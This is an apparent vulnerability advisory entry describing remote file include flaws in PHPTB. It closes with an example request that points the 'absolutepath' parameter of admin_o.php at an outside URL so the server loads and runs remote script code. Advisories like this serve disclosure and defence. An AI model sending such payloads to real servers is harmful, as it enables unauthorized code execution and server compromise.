source: http://www.securityfocus.com/bid/14592/info

PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/admin_o.php?absolutepath=http://www.example.com/